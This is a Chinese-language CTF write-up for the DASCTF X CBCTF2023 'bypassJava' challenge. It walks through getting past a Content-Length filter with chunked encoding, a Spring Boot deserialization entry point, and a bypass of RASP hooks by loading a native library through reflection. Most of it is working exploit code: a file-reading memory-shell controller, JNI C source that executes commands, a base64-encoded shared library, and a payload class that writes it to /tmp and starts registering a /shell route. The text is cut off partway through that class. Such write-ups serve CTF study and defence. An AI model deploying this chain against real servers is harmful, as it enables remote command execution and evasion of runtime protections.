[DASCTF_X_CBCTF2023]bypassJava

题目环境

官方WP:https://pankas.top/2023/10/22/dasctfxcbctf-2023-bypassjava-wp/
环境详情:https://github.com/pankass/DASCTF_X_CBCTF2023_bypassJava

解题流程

Controller很简单,/read有个反序列化利用点

但是Filter中对ContentLength做了长度限制,这个1145这个长度显然是打不了任何payload的。

深入调试,分析getContentLength()获取请求体长度的逻辑。servletRequest.getContentLength()直接返回了Request.contentLength这个属性。

追踪这个属性。在org.apache.coyote.http11.Http11Processor#prepareInputFilters方法进行的赋值

getContentLengthLong方法直接获取header中的content-length字段为contentLength赋值

而在contentLength赋值后的代码中,如果contentDelimitation被设置为True,contentLength会被修改为-1。

通过对contentDelimitation的追踪,可以发现它是表示报文有没有进行分块传输的

如果transfer-encoding是chunked,那么contentDelimitation就会被修改为True

所以可以通过Transfer-Encoding: chunked绕过filter中的长度限制(BP插件),然后打个SpringBoot内存马。

然后发现存在RASP,forkAndExec被hook了。

虽然执行不了命令,但可以用java.nio.file对文件进行读取。重新注册一个读文件的Controller

public void fileAccess(HttpServletRequest req, HttpServletResponse res) throws Exception {
    String filedir = req.getParameter("filedir");
    String filename = req.getParameter("filename");

    if (filedir != null) {
        PrintWriter out = res.getWriter();
        File dir = new File(filedir);
        if (dir.exists() && dir.isDirectory()) {
            File[] files = dir.listFiles();
            if (files != null) {
                Arrays.stream(files).forEach(file -> out.println(file.getName()));
            } else {
                out.println("No files found in the directory.");
            }
        } else {
            out.println("Directory does not exist or is not a directory.");
        }
    } else if (filename != null) {
        File file = new File(filename);
        if (file.exists() && file.isFile()) {
            // 使用 FileInputStream 读取文件
            try (FileInputStream in = new FileInputStream(file)) {
                byte[] buffer = new byte[1024];
                int bytesRead;
                while ((bytesRead = in.read(buffer)) != -1) {
                    res.getOutputStream().write(buffer, 0, bytesRead);
                }
            } catch (IOException e) {
                res.getWriter().println("Error reading file: " + e.getMessage());
            }
        } else {
            res.getWriter().println("File does not exist or is not a file.");
        }
    } else {
        res.getWriter().println("Please provide a valid 'filedir' or 'filename' parameter.");
    }

}

filedir参数读取目录结构,filename参数读取文件内容。然后接可以发现/home/ctf目录下的RASP程序simpleRASP.jar

?filename=/home/ctf/simpleRASP.jar读取下来后开始审计。

这个程序是为一个运行的JVM添加一个代理。Main会把MyAgent打入SpringBoot中,然后执行MyAgent的agentmain方法。

这段代码做了两件事:

  1. 添加了一个ClassFileTransformer,名字是MyAgentTransformer
  2. 如果java.lang.UNIXProcess和java.lang.ClassLoader已经加载,则用MyAgentTransformer重新定义 Class。

MyAgentTransformer对这两个类执行了不同的的transformed方法

HookRce.transformed hook了forkAndExec(无法执行命令),HookJNI hook了loadLibrary0(无法使用System.load)。但是java.lang.ClassLoader.NativeLibrary#load 并未被 hook,并且反射也是可以正常使用的,所以可以使用反射来调用 java.lang.ClassLoader.NativeLibrary 中的 load 方法来加载恶意so文件执行命令。

制作JNI。准备EvilClass.java

public class EvilClass  {
    public static native String execCmd(String cmd);
}

在当前目录运行,生成 EvilClass.h

javac EvilClass.java
javah EvilClass

根据EvilClass.h文件编写EvilClass.c文件

#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
#include "EvilClass.h"

int execmd(const char *cmd, char *result)
{
    char buffer[1024*12];              //定义缓冲区
    FILE *pipe = popen(cmd, "r"); //打开管道,并执行命令
    if (!pipe)
        return 0; //返回0表示运行失败

    while (!feof(pipe))
    {
        if (fgets(buffer, 128, pipe))
        { //将管道输出到result中
            strcat(result, buffer);
        }
    }
    pclose(pipe); //关闭管道
    return 1;      //返回1表示运行成功
}
JNIEXPORT jstring JNICALL Java_EvilClass_execCmd(JNIEnv *env, jclass class_object, jstring jstr)
{

    const char *cstr = (*env)->GetStringUTFChars(env, jstr, NULL);
    char result[1024 * 12] = ""; //定义存放结果的字符串数组
    if (1 == execmd(cstr, result))
    {
        // printf(result);
    }

    char return_messge[100] = "";
    strcat(return_messge, result);
    jstring cmdresult = (*env)->NewStringUTF(env, return_messge);
    //system();

    return cmdresult;
}

编译生成对应动态链接库文件

gcc -fPIC -I $JAVA_HOME/include  -I $JAVA_HOME/include/linux -shared -o libcmd.so EvilClass.c

将该so文件base64编码放到java代码中方便加载。这段代码首先会把libcmd.so写入,然后加载。之后调用native方法EvilClass.execCmd的时候,就是我们动态加载库实现的。

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PathPatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import org.springframework.web.servlet.support.RequestContextUtils;
import org.springframework.web.util.pattern.PathPattern;
import org.springframework.web.util.pattern.PathPatternParser;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.*;

public class EvilClass extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet {
    public static native String execCmd(String cmd);

    static {
        try {
            String Evil_B64 = "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AwALAJAHAAAAAAAAAAAAAAAAAAAAAAAAAwAMAEQKAAAAAAAAAAAAAAAAAAAAAAAAAwANAFgKAAAAAAAAAAAAAAAAAAAAAAAAAwAOAFwKAAAAAAAAAAAAAAAAAAAAAAAAAwAPAJgKAAAAAAAAAAAAAAAAAAAAAAAAAwAQANgNAQAAAAAAAAAAAAAAAAAAAAAAAwARAOANAQAAAAAAAAAAAAAAAAAAAAAAAwASAOgNAQAAAAAAAAAAAAAAAAAAAAAAAwATALgPAQAAAAAAAAAAAAAAAAAAAAAAAwAUAOgPAQAAAAAAAAAAAAAAAAAAAAAAAwAVAFAQAQAAAAAAAAAAAAAAAAAAAAAAAwAWAFgQAQAAAAAAAAAAAAAAAAAAAAAAAwAXAAAAAAAAAAAAAAAAAAAAAAABAAAABADx/wAAAAAAAAAAAAAAAAAAAAAIAAAAAAALAJAHAAAAAAAAAAAAAAAAAAALAAAAAgALAJAHAAAAAAAAFAAAAAAAAAAIAAAAAAAJALAGAAAAAAAAAAAAAAAAAAAIAAAAAAAMAEQKAAAAAAAAAAAAAAAAAAAYAAAABADx/wAAAAAAAAAAAAAAAAAAAAAIAAAAAAAJAMAGAAAAAAAAAAAAAAAAAAAIAAAAAAAMAFAKAAAAAAAAAAAAAAAAAAAfAAAABADx/wAAAAAAAAAAAAAAAAAAAAAIAAAAAAALALAHAAAAAAAAAAAAAAAAAAAqAAAAAgALALAHAAAAAAAAAAAAAAAAAAAsAAAAAgALAOAHAAAAAAAAAAAAAAAAAAA/AAAAAAAVAFAQAQAAAAAAAAAAAAAAAABCAAAAAgALACAIAAAAAAAAAAAAAAAAAABYAAAAAQAWAFgQAQAAAAAAAQAAAAAAAAA/AAAAAAARAOANAQAAAAAAAAAAAAAAAABkAAAAAQARAOANAQAAAAAAAAAAAAAAAACLAAAAAgALAHAIAAAAAAAAAAAAAAAAAAA/AAAAAAAQANgNAQAAAAAAAAAAAAAAAACXAAAAAQAQANgNAQAAAAAAAAAAAAAAAAA/AAAAAAAPAKwKAAAAAAAAAAAAAAAAAAA/AAAAAAAWAFgQAQAAAAAAAAAAAAAAAAC2AAAABADx/wAAAAAAAAAAAAAAAAAAAAA/AAAAAAANAFgKAAAAAAAAAAAAAAAAAAAIAAAAAAALAHQIAAAAAAAAAAAAAAAAAAA/AAAAAAAPABALAAAAAAAAAAAAAAAAAAAfAAAABADx/wAAAAAAAAAAAAAAAAAAAAA/AAAAAAAPAFgLAAAAAAAAAAAAAAAAAADCAAAAAQAPAFgLAAAAAAAAAAAAAAAAAAAAAAAABADx/wAAAAAAAAAAAAAAAAAAAADQAAAAAgAMAEQKAAAAAAAAAAAAAAAAAADWAAAAAQAVAFAQAQAAAAAAAAAAAAAAAADjAAAAAQDx/+gNAQAAAAAAAAAAAAAAAADsAAAAAAAOAFwKAAAAAAAAAAAAAAAAAAD/AAAAAQAVAFgQAQAAAAAAAAAAAAAAAAALAQAAAQDx/7gPAQAAAAAAAAAAAAAAAAAhAQAAAgAJALAGAAAAAAAAAAAAAAAAAAAIAAAAAAAKANAGAAAAAAAAAAAAAAAAAAAnAQAAIAAAAAAAAAAAAAAAAAAAAAAAAABDAQAAIgAAAAAAAAAAAAAAAAAAAAAAAABdAQAAEgAAAAAAAAAAAAAAAAAAAAAAAABuAQAAEgAAAAAAAAAAAAAAAAAAAAAAAACAAQAAEgAAAAAAAAAAAAAAAAAAAAAAAACSAQAAEgAAAAAAAAAAAAAAAAAAAAAAAACuAQAAIAAAAAAAAAAAAAAAAAAAAAAAAAC9AQAAEQAAAAAAAAAAAAAAAAAAAAAAAADaAQAAEgAAAAAAAAAAAAAAAAAAAAAAAADqAQAAEgALAHQIAAAAAAAA0AAAAAAAAADxAQAAEgALAEQJAAAAAAAAAAEAAAAAAAAIAgAAEgAAAAAAAAAAAAAAAAAAAAAAAAAaAgAAIAAAAAAAAAAAAAAAAAAAAAAAAAA0AgAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAY3J0aS5vACR4AGNhbGxfd2Vha19mbgBjcnRuLm8AY3J0c3R1ZmYuYwBkZXJlZ2lzdGVyX3RtX2Nsb25lcwAkZABfX2RvX2dsb2JhbF9kdG9yc19hdXgAY29tcGxldGVkLjAAX19kb19nbG9iYWxfZHRvcnNfYXV4X2ZpbmlfYXJyYXlfZW50cnkAZnJhbWVfZHVtbXkAX19mcmFtZV9kdW1teV9pbml0X2FycmF5X2VudHJ5AEV2aWxDbGFzcy5jAF9fRlJBTUVfRU5EX18AX2ZpbmkAX19kc29faGFuZGxlAF9EWU5BTUlDAF9fR05VX0VIX0ZSQU1FX0hEUgBfX1RNQ19FTkRfXwBfR0xPQkFMX09GRlNFVF9UQUJMRV8AX2luaXQAX0lUTV9kZXJlZ2lzdGVyVE1DbG9uZVRhYmxlAF9fY3hhX2ZpbmFsaXplQEdMSUJDXzIuMTcAcG9wZW5AR0xJQkNfMi4xNwBzdHJjYXRAR0xJQkNfMi4xNwBtZW1zZXRAR0xJQkNfMi4xNwBfX3N0YWNrX2Noa19mYWlsQEdMSUJDXzIuMTcAX19nbW9uX3N0YXJ0X18AX19zdGFja19jaGtfZ3VhcmRAR0xJQkNfMi4xNwBmZW9mQEdMSUJDXzIuMTcAZXhlY21kAEphdmFfRXZpbENsYXNzX2V4ZWNDbWQAcGNsb3NlQEdMSUJDXzIuMTcAX0lUTV9yZWdpc3RlclRNQ2xvbmVUYWJsZQBmZ2V0c0BHTElCQ18yLjE3AAAuc3ltdGFiAC5zdHJ0YWIALnNoc3RydGFiAC5ub3RlLmdudS5idWlsZC1pZAAuZ251Lmhhc2gALmR5bnN5bQAuZHluc3RyAC5nbnUudmVyc2lvbgAuZ251LnZlcnNpb25fcgAucmVsYS5keW4ALnJlbGEucGx0AC5pbml0AC50ZXh0AC5maW5pAC5yb2RhdGEALmVoX2ZyYW1lX2hkcgAuZWhfZnJhbWUALmluaXRfYXJyYXkALmZpbmlfYXJyYXkALmR5bmFtaWMALmdvdAAuZ290LnBsdAAuZGF0YQAuYnNzAC5jb21tZW50AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbAAAABwAAAAIAAAAAAAAAyAEAAAAAAADIAQAAAAAAACQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAALgAAAPb//28CAAAAAAAAAPABAAAAAAAA8AEAAAAAAAAoAAAAAAAAAAMAAAAAAAAACAAAAAAAAAAAAAAAAAAAADgAAAALAAAAAgAAAAAAAAAYAgAAAAAAABgCAAAAAAAAmAEAAAAAAAAEAAAAAwAAAAgAAAAAAAAAGAAAAAAAAABAAAAAAwAAAAIAAAAAAAAAsAMAAAAAAACwAwAAAAAAAOcAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAASAAAAP///28CAAAAAAAAAJgEAAAAAAAAmAQAAAAAAAAiAAAAAAAAAAMAAAAAAAAAAgAAAAAAAAACAAAAAAAAAFUAAAD+//9vAgAAAAAAAADABAAAAAAAAMAEAAAAAAAAQAAAAAAAAAAEAAAAAgAAAAgAAAAAAAAAAAAAAAAAAABkAAAABAAAAAIAAAAAAAAAAAUAAAAAAAAABQAAAAAAAMAAAAAAAAAAAwAAAAAAAAAIAAAAAAAAABgAAAAAAAAAbgAAAAQAAABCAAAAAAAAAMAFAAAAAAAAwAUAAAAAAADwAAAAAAAAAAMAAAAUAAAACAAAAAAAAAAYAAAAAAAAAHgAAAABAAAABgAAAAAAAACwBgAAAAAAALAGAAAAAAAAGAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAABzAAAAAQAAAAYAAAAAAAAA0AYAAAAAAADQBgAAAAAAAMAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAfgAAAAEAAAAGAAAAAAAAAJAHAAAAAAAAkAcAAAAAAAC0AgAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAIQAAAABAAAABgAAAAAAAABECgAAAAAAAEQKAAAAAAAAFAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAACKAAAAAQAAAAIAAAAAAAAAWAoAAAAAAABYCgAAAAAAAAIAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAkgAAAAEAAAACAAAAAAAAAFwKAAAAAAAAXAoAAAAAAAA8AAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAKAAAAABAAAAAgAAAAAAAACYCgAAAAAAAJgKAAAAAAAAxAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAACqAAAADgAAAAMAAAAAAAAA2A0BAAAAAADYDQAAAAAAAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAAtgAAAA8AAAADAAAAAAAAAOANAQAAAAAA4A0AAAAAAAAIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAMIAAAAGAAAAAwAAAAAAAADoDQEAAAAAAOgNAAAAAAAA0AEAAAAAAAAEAAAAAAAAAAgAAAAAAAAAEAAAAAAAAADLAAAAAQAAAAMAAAAAAAAAuA8BAAAAAAC4DwAAAAAAADAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA0AAAAAEAAAADAAAAAAAAAOgPAQAAAAAA6A8AAAAAAABoAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAANkAAAABAAAAAwAAAAAAAABQEAEAAAAAAFAQAAAAAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAADfAAAACAAAAAMAAAAAAAAAWBABAAAAAABYEAAAAAAAAAgAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA5AAAAAEAAAAwAAAAAAAAAAAAAAAAAAAAWBAAAAAAAAArAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAEAAAACAAAAAAAAAAAAAAAAAAAAAAAAAIgQAAAAAAAAIAcAAAAAAAAZAAAAPgAAAAgAAAAAAAAAGAAAAAAAAAAJAAAAAwAAAAAAAAAAAAAAAAAAAAAAAACoFwAAAAAAAEUCAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAEQAAAAMAAAAAAAAAAAAAAAAAAAAAAAAA7RkAAAAAAADtAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAA==";
            String LIB_PATH = "/tmp/libcmd.so";

            byte[] jniBytes = Base64.getDecoder().decode(Evil_B64);
            RandomAccessFile randomAccessFile = new RandomAccessFile(LIB_PATH, "rw");
            randomAccessFile.write(jniBytes);
            randomAccessFile.close();

            ClassLoader cmdLoader = EvilClass.class.getClassLoader();
            Class<?> classLoaderClazz = Class.forName("java.lang.ClassLoader");
            Class<?> nativeLibraryClazz = Class.forName("java.lang.ClassLoader$NativeLibrary");
            Method load = nativeLibraryClazz.getDeclaredMethod("load", String.class, boolean.class);
            load.setAccessible(true);
            Field field = classLoaderClazz.getDeclaredField("nativeLibraries");
            field.setAccessible(true);
            Vector<Object> libs = (Vector<Object>) field.get(cmdLoader);
            Constructor<?> nativeLibraryCons = nativeLibraryClazz.getDeclaredConstructor(Class.class, String.class, boolean.class);
            nativeLibraryCons.setAccessible(true);
            Object nativeLibraryObj = nativeLibraryCons.newInstance(EvilClass.class, LIB_PATH, false);
            libs.addElement(nativeLibraryObj);
            field.set(cmdLoader, libs);
            load.invoke(nativeLibraryObj, LIB_PATH, false);

            final String controllerPath = "/shell";

            // 获取当前应用上下文
            WebApplicationContext context = RequestContextUtils.findWebApplicationContext(
                    ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest()
            );

            // 通过 context 获取 RequestMappingHandlerMapping 对象
            RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);

            // 获取父类的 MappingRegistry 属性
            Field f = mapping.getClass().getSuperclass().getSuperclass().getDeclaredField("mappingRegistry");
            f.setAccessible(true);
            Object mappingRegistry = f.get(mapping);

            // 反射调用 MappingRegistry 的 register 方法
            Class<?> c = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry");
            Method[] ms = c.getDeclaredMethods();


            PathPatternsRequestCondition   prc       = new PathPatternsRequestCondition();
            RequestMethodsRequestCondition condition = new RequestMethodsRequestCondition();

            Class<?> clazz1 = prc.getClass();
            Field patternsField = clazz1.getDeclaredField("patterns");
            patternsField.setAccessible(true); // 设置私有字段为可访问

            // 创建新的 SortedSet<PathPattern> 并解析 controllerPath
            PathPatternParser parser = new PathPatternParser();
            PathPattern pathPattern = parser.parse(controllerPath);
